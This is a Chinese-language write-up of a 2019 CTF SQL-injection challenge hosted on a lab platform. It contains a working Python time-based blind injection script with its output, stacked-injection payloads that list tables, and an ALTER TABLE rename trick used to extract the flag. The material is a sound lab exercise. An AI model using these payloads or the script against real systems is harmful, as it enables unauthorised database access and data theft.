[强网杯 2019]随便注

[强网杯 2019]随便注

先用字符串类型,测试注入类型

image-20220503095130722

出现报错,说明这里是存在 字符型注入,测试万能公式

# payload
2' and '2'='2

image-20220503095212043

成功回显了,然后就是老套路,查数据库、数据表、字段名、字段值。

image-20220503095448053

出现了 正则过滤关键字,但是正则中存在一个 i 表示对查询的关键字大小写不敏感,大小写都可以被匹配到,只能使用延时注入爆破一下数据库名用户名,没什么有用的信息。

# 数据库名
import requests
import time

url = """http://f8b429df-c3d5-47e6-96a7-f81dca977300.node4.buuoj.cn:81/"""
letters = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'


def db_name(len):
	db_name = ''
	print('Task execution-------------OK!')
	for l in range(1,len+1):
		for work in letters:
			payload = """?inject=2' AND IF(substr(database(),%d,1)='%s',sleep(3),1) %%23""" %(l,work)
			#payload = url_nop(payload)
			start = time.time()
			re = requests.get( url + payload)
			end = time.time()
			if (end - start) > 3:
				db_name += work
				break
			else:
				pass
		print('db_name:{}'.format(db_name))
if __name__ == '__main__':
	db_name(10)
    
    
# 结果
Task execution-------------OK!
db_name:s
db_name:su
db_name:sup
db_name:supe
db_name:super
db_name:supers
db_name:supersq
db_name:supersql
db_name:supersqli
db_name:supersqli
[Finished in 36.0s]

对sql里面的函数不是太清楚,就会个增删改查,都被过滤了,后来看了 WriteUp 才知道用什么方法进行注入。

注入方法:堆叠注入------大佬博客

利用多条SQL语句一起执行,每条语句之间使用 ; 隔开。

?inject=2';show tables;%23

image-20220503105237883

爆出来了了两个表,查看表中的字段,发现了flag字段

?inject=2';desc `1919810931114514`;%23

# 这里为什么要加反引号呢?
# 这里的表名是数字,所以需要加上反引号
# 如果是字符串就可以不需要

?inject=2';desc words;%23

image-20220503105542803

因为 select 关键字被过滤了,不能直接查,看 大佬文章 上给出了 两种方法,一种是使用 预编译 的方法,另外一种是 修改表名,我尝试使用修改表名的方法,这种方法感觉好特别。

# payload
1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

使用 or 就可以查询出flag了

# payload
?inject=1' or '1'='1

image-20220503111040039

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

iKnsec

您的鼓励,是我创作的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值